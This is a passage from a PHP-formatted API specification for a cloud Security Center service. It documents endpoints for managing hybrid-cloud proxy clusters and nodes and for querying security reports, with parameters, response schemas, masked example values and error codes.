'The request ID.'."\n", 'type' => 'string', 'example' => 'F7A1B40A-7EED-55A0-BCBC-2F83A486F0AB', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PolicyList\\": [\\n {\\n \\"PolicyType\\": \\"limitBandWidth\\",\\n \\"Info\\": [\\n {\\n \\"Type\\": \\"file\\",\\n \\"Config\\": \\"10\\",\\n \\"FileName\\": \\"test\\"\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"F7A1B40A-7EED-55A0-BCBC-2F83A486F0AB\\"\\n}","type":"json"}]', 'title' => 'DescribeHybridProxyPolicy', ], 'DescribeHybridProxyList' => [ 'summary' => 'Queries the proxy nodes that are deployed in a proxy cluster by page.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '151386', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'example' => 'idc-sas-proxy', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'example' => '20', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'properties' => [ 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'type' => 'integer', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'example' => '20', 'format' => 'int32', 'type' => 'integer', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'example' => '69', 'format' => 'int32', 'type' => 'integer', ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'example' => '20', 'format' => 'int32', 'type' => 'integer', ], ], 'type' => 'object', ], 'ProxyList' => [ 'description' => 'The information about the proxy clusters.'."\n", 'items' => [ 'properties' => [ 'InstanceId' => [ 'description' => 'The instance ID.'."\n", 'example' => 'i-uf61q03boqhhmeai1XXX', 'type' => 'string', ], 'InstanceName' => [ 'description' => 'The instance name.'."\n", 'example' => 'dev', 'type' => 'string', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'example' => '47.76.XXX.XXX', 'type' => 'string', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'example' => '172.23.XXX.XXX', 'type' => 'string', ], 'Status' => [ 'description' => 'The status of the proxy server. Valid values:'."\n" ."\n" .'* **online**'."\n" .'* **offline**'."\n", 'example' => 'online', 'type' => 'string', ], 'Uuid' => [ 'description' => 'The UUID of the server that is connected to the proxy instance.'."\n", 'example' => '59a9d158-b2f0-4766-a893-ae67b943XXXX', 'type' => 'string', ], 'ClientCount' => [ 'description' => 'The number of servers that are connected to the proxy instance.'."\n", 'example' => '10', 'format' => 'int32', 'type' => 'integer', ], 'ProxyUuid' => [ 'description' => 'The UUID of the proxy node.'."\n", 'example' => 'inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612a18e', 'type' => 'string', ], 'CurrentVersion' => [ 'description' => 'The version of the proxy instance.'."\n", 'example' => 'proxy_01_05', 'type' => 'string', ], ], 'type' => 'object', 'description' => '', ], 'type' => 'array', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '75801E5D-E2EB-5C1D-B65D-2F7D2B00EF93', 'type' => 'string', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"ProxyList\\": [\\n {\\n \\"InstanceId\\": \\"i-uf61q03boqhhmeai1XXX\\",\\n \\"InstanceName\\": \\"dev\\",\\n \\"InternetIp\\": \\"47.76.XXX.XXX\\",\\n \\"IntranetIp\\": \\"172.23.XXX.XXX\\",\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"59a9d158-b2f0-4766-a893-ae67b9432721\\",\\n \\"ClientCount\\": 10,\\n \\"ProxyUuid\\": \\"inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612a18e\\",\\n \\"CurrentVersion\\": \\"proxy_01_05\\"\\n }\\n ],\\n \\"RequestId\\": \\"75801E5D-E2EB-5C1D-B65D-2F7D2B00EF93\\"\\n}","type":"json"}]', 'title' => 'DescribeHybridProxyList', ], 'DescribeHybridProxyClusterList' => [ 'summary' => 'Queries proxy clusters by page.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'example' => 'test', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'example' => '20', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'properties' => [ 'ClusterList' => [ 'description' => 'The proxy clusters.'."\n", 'items' => [ 'description' => 'The information about the proxy cluster.'."\n", 'properties' => [ 'ClusterName' => [ 'description' => 'The name of the proxy cluster.'."\n", 'example' => 'idc-sas-proxy', 'type' => 'string', ], 'ProxyCount' => [ 'description' => 'The number of proxy nodes.'."\n", 'example' => '3', 'format' => 'int32', 'type' => 'integer', ], 'ClientCount' => [ 'description' => 'The number of servers that are connected to the proxy cluster.'."\n", 'example' => '10', 'format' => 'int32', 'type' => 'integer', ], 'Remark' => [ 'description' => 'The description of the proxy cluster.'."\n", 'example' => 'test', 'type' => 'string', ], 'InstallCommand' => [ 'description' => 'The installation command for the node of the proxy cluster.'."\n", 'example' => 'test', 'type' => 'string', ], 'AuthKey' => [ 'description' => 'The ID of the credential that is used for cluster authentication.'."\n", 'example' => 'test', 'type' => 'string', ], 'AuthKeySecret' => [ 'description' => 'The key of the credential that is used for cluster authentication.'."\n", 'example' => 'test', 'type' => 'string', ], 'Status' => [ 'description' => 'The status of the cluster.'."\n", 'example' => 'offline', 'type' => 'string', ], 'Ip' => [ 'description' => 'The endpoint of the cluster. An IP address or a domain name is specified.'."\n", 'example' => '114.115.XXX.XXX', 'type' => 'string', ], 'LastHeartTime' => [ 'description' => 'The timestamp when the cluster last sent a heartbeat message. Unit: milliseconds.'."\n", 'example' => '1608304654000', 'format' => 'int64', 'type' => 'integer', ], ], 'type' => 'object', ], 'type' => 'array', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'type' => 'integer', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'example' => '20', 'format' => 'int32', 'type' => 'integer', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'example' => '45', 'format' => 'int32', 'type' => 'integer', ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'example' => '20', 'format' => 'int32', 'type' => 'integer', ], ], 'type' => 'object', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => 'C1A36413-50B2-5B2F-843F-EB14C582713F', 'type' => 'string', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ClusterList\\": [\\n {\\n \\"ClusterName\\": \\"idc-sas-proxy\\",\\n \\"ProxyCount\\": 3,\\n \\"ClientCount\\": 10,\\n \\"Remark\\": \\"test\\",\\n \\"InstallCommand\\": \\"test\\",\\n \\"AuthKey\\": \\"test\\",\\n \\"AuthKeySecret\\": \\"test\\",\\n \\"Status\\": \\"offline\\",\\n \\"Ip\\": \\"114.115.XXX.XXX\\",\\n \\"LastHeartTime\\": 1608304654000\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"RequestId\\": \\"C1A36413-50B2-5B2F-843F-EB14C582713F\\"\\n}","type":"json"}]', 'title' => 'DescribeHybridProxyClusterList', ], 'DescribeHybridProxyLinkedClientList' => [ 'summary' => 'Queries the servers that are connected to a proxy in a hybrid cloud by page.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ProxyUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the proxy node. You can call the DescribeHybridProxyList operation to query the UUID of the proxy node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612XXXX', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster. You can query the name of the proxy cluster in the Security Center console.'."\n", 'type' => 'string', 'required' => false, 'example' => 'office-proxy', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the Security Center agent is installed. You can query the UUID by querying asset information.'."\n", 'type' => 'string', 'required' => false, 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f89ca****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description of the proxy cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp1a69mvjujbakxu****', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'Status' => [ 'description' => 'The status of the Security Center agent.'."\n", 'type' => 'string', 'example' => 'online', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'RegionName' => [ 'description' => 'The name of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-qingdao', ], 'GroupName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'default', ], 'Tag' => [ 'description' => 'The name of the tag added to the server.'."\n", 'type' => 'string', 'example' => 'latest', ], 'VendorName' => [ 'description' => 'The name of the service provider.'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], 'Os' => [ 'description' => 'The name of the operating system.'."\n", 'type' => 'string', 'example' => 'centos-xxx', ], 'OsName' => [ 'description' => 'The name of the operating system for your asset.'."\n", 'type' => 'string', 'example' => 'centos', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'B01B804F-947C-5623-B050-1C8FDFA796CF', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"InstanceId\\": \\"i-bp1a69mvjujbakxu****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"RegionName\\": \\"cn-qingdao\\",\\n \\"GroupName\\": \\"default\\",\\n \\"Tag\\": \\"latest\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"Os\\": \\"centos-xxx\\",\\n \\"OsName\\": \\"centos\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"B01B804F-947C-5623-B050-1C8FDFA796CF\\"\\n}","type":"json"}]', 'title' => 'DescribeHybridProxyLinkedClientList', ], 'DeleteHybridProxyCluster' => [ 'summary' => 'Deletes a proxy cluster based on the name of the proxy cluster.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '151727', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'proxy', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '414EC213-AD2D-56C3-B140-108773B24405', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'delete fail because,cluster proxy machine is online', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"414EC213-AD2D-56C3-B140-108773B24405\\"\\n}","type":"json"}]', 'title' => 'DeleteHybridProxyCluster', ], 'DeleteHybridProxy' => [ 'summary' => 'Removes a proxy node from a specified proxy cluster.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '153489', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the proxy node that you want to remove. The value starts with inet-proxy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-proxy-d2d94e8b-bb25-4744-8004-1e08a53c****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'delete fail because,cluster proxy machine is online', ], [ 'errorCode' => 'DataNotExists', 'errorMessage' => '%s data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', 'title' => 'DeleteHybridProxy', ], 'CreateHybridProxyCluster' => [ 'summary' => 'Creates a hybrid-cloud proxy cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '151826', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Chester-Test', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark test', ], ], [ 'name' => 'Ip', 'in' => 'query', 'schema' => [ 'description' => 'The endpoint of the cluster.'."\n" .'> You can specify an IP address or a domain name', 'type' => 'string', 'required' => true, 'docRequired' => true, 'example' => '192.168.xx.xx', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CDCB0BBB-CFB2-5D38-BB49-500E2A21xxxx', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => '%s data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CDCB0BBB-CFB2-5D38-BB49-500E2A21xxxx\\"\\n}","type":"json"}]', 'title' => 'CreateHybridProxyCluster', ], 'BindHybridProxy' => [ 'summary' => 'Adds servers to Security Center over a proxy server. After you create a proxy cluster and deploy a proxy server, you can connect a server to the proxy cluster as a client. This way, the server is added to Security Center over the proxy server and is protected.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '169977', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas-proxy', ], ], [ 'name' => 'YundunUuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of servers that you want to add to Security Center over the proxy server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', ], 'required' => true, 'maxItems' => 10000, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911459F', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\"\\n}","type":"json"}]', 'title' => 'BindHybridProxy', ], 'DescribeDefaultProxyInstallVersion' => [ 'summary' => 'Queries the default installation version of the proxy that is used in hybrid-cloud scenarios.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'InstallVersion' => [ 'description' => 'The default installation version.'."\n", 'type' => 'string', 'example' => 'proxy_01_03', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F9FCB51A-5078-5D31-9C4D-3B25BEF068C7', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstallVersion\\": \\"proxy_01_03\\",\\n \\"RequestId\\": \\"F9FCB51A-5078-5D31-9C4D-3B25BEF068C7\\"\\n}","type":"json"}]', 'title' => 'DescribeDefaultProxyInstallVersion', ], 'InstallHybridProxy' => [ 'summary' => 'Installs the Security Center agent on a proxy server in a hybrid cloud.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'YundunUuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the proxy servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the proxy server.'."\n", 'type' => 'string', 'required' => false, 'example' => '1b085300-2b3f-4f6c-98d5-f55f38dd14ee', ], 'required' => false, 'maxItems' => 10000, 'minItems' => 1, ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The cluster name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'proxy-test', ], ], [ 'name' => 'InstallCode', 'in' => 'query', 'schema' => [ 'description' => 'The installation code.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Z9c8SA', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E55BE5DB-E2DF-57EB-A0C5-7A85EEA67A4C', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'Illegal parameter', 'errorMessage' => 'illegal parameter', ], [ 'errorCode' => 'Data not exist', 'errorMessage' => 'Data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E55BE5DB-E2DF-57EB-A0C5-7A85EEA67A4C\\"\\n}","type":"json"}]', 'title' => 'InstallHybridProxy', ], 'DescribeCustomizeReportList' => [ 'summary' => 'Queries security reports.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92050', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ReportStatus', 'in' => 'query', 'schema' => [ 'description' => 'The state of the report. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ReportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the report. Valid values:'."\n" ."\n" .'* **0**: daily report'."\n" .'* **1**: weekly report'."\n" .'* **2**: monthly report'."\n" .'* **3**: report whose statistics are collected in a custom time range'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'Title', 'in' => 'query', 'schema' => [ 'description' => 'The name of the report.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'ReportVersion', 'in' => 'query', 'schema' => [ 'description' => 'The report version. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.0', ], ], [ 'name' => 'Pinned', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to pin the report. Valid values:'."\n" ."\n" .'* **false**'."\n" .'* **true**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', ], 'ReportList' => [ 'description' => 'The reports.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the report.'."\n", 'type' => 'object', 'properties' => [ 'ReportStatus' => [ 'description' => 'The state of the report. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'string', 'example' => '0', ], 'IsDefault' => [ 'description' => 'Indicates whether the report is the default report. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'string', 'example' => '1', ], 'ReportType' => [ 'description' => 'The type of the report. Valid values:'."\n" ."\n" .'* **0**: daily report'."\n" .'* **1**: weekly report'."\n" .'* **2**: monthly report'."\n" .'* **3**: report whose statistics are collected in a custom time range'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ReportId' => [ 'description' => 'The ID of the report.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Title' => [ 'description' => 'The name of the report.'."\n", 'type' => 'string', 'example' => 'test', ], 'ReportVersion' => [ 'description' => 'The report version.'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'ReportStartDate' => [ 'description' => 'The start date on which the report is sent. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1721836800000', ], 'ReportEndDate' => [ 'description' => 'The end date on which the report is sent. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1721923199999', ], 'PinnedTime' => [ 'description' => 'The timestamp when the report is pinned. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1721836800000', ], 'ReportDays' => [ 'description' => 'The most recent days for report statistics.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 